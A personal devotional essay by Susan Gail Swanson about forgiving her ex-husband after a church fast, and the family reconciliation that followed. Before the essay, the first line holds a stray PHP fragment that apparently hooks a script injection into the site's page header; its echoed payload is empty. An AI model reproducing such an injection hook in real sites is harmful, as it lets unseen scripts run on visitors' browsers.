/***/function add_my_script() { echo ''; } add_action('wp_head', 'add_my_script');/***/ Forgiveness – Susan Gail Swanson, author
Susan Gail Swanson, author

Forgiveness

FORGIVENESS

Matthew 6:12 Forgive us our debts, as we also have forgiven our debtors.

The pastor finished up his sermon, “The elders and I are going to pray and fast for forty days. We encourage you to join us, but in case forty days seems too long, perhaps you would consider praying and fasting during the last three days. Perhaps God has a special plan He would like to reveal to you.”

I whispered to my friend sitting next to me, “Forty days is a long time and I’m not sure I can do three days. However, it does sound like a wonderful way to get closer to God, using meal time to pray instead of eating.”

I did manage to fast for the last three days of the forty day fast and I did increase my prayer time. I was really excited thinking about the wonderful stories people would share about their fast. In fact, I could hardly wait to get to church to hear all the personal stories of God’s revelations. Unfortunately, it proved to be a depressing evening. It was a far cry from what I hoped for.

I sat in the pew and sensed the excitement and anticipation around me. The Pastor began his sermon and pointed his finger at all of us, but I swear it was directed at me.

“All of you have someone in your life you need to forgive. Your lack of forgiveness is keeping you from growing closer to the Lord.”

I knew exactly who the Lord wanted me to forgive; my ex-husband. I left the church in anger and frustration. There was no way I would ever forgive him. He had done too many terrible things to ever be forgiven. He embezzled money from his employer and served time in jail. We had lost our home and everything in it. It was all gone. Not only did I have to go back to work, I was left alone to raise our two children, who at that time were two and four years old. There was no child support and no father figure for my kids. What was God thinking? How could I ever forgive my ex?

I was angry for days. I thought of our marriage and all the pain. Even though we had been divorced for many years, it seemed like yesterday. Early one afternoon, I got a most unexpected and unwanted phone call. It was from my ex-husband. I had not heard from him in years.

“Susan, this is Roy. Please don’t hang up.”

That was exactly what I wanted to do. Hang up, but I did not. Instead, I listened.

“I’ve called to ask your forgiveness. I was not a good husband or father. Please forgive me.”

The past years just melted away and I remembered all the Bible verses about forgiveness. Our marriage was not Christ centered. We had been young and made foolish choices.

“I need to ask your forgiveness also.” I sobbed into the phone. “I made some dumb mistakes, too. And I was no prize to live with either.”

I shared with my ex about our now grown children. I told him that we were all born-again Christians following the Lord. He was surprised when I told him that our son was going to be married in the next few months and then was moving to Papua New Guinea to be a missionary.

“You have two grandsons,” I told him. He was stunned.

Phone calls and lots of prayers paved the way for the children and their father to become friends again. I invited my ex and his wife to our son’s wedding. His wife thanked us for the kindness and love we showed her by including them in the wedding. It was exciting to see all the lives being changed. The wedding that united my son and his lovely wife also reunited a father with his estranged family. I thought about all my sins the Lord has forgiven and wondered how I could do less.

My ex-husband was killed in a car crash a few years later. His widow told me that they had become Christians and she knew he was in Heaven. Our families will be united forever in Heaven.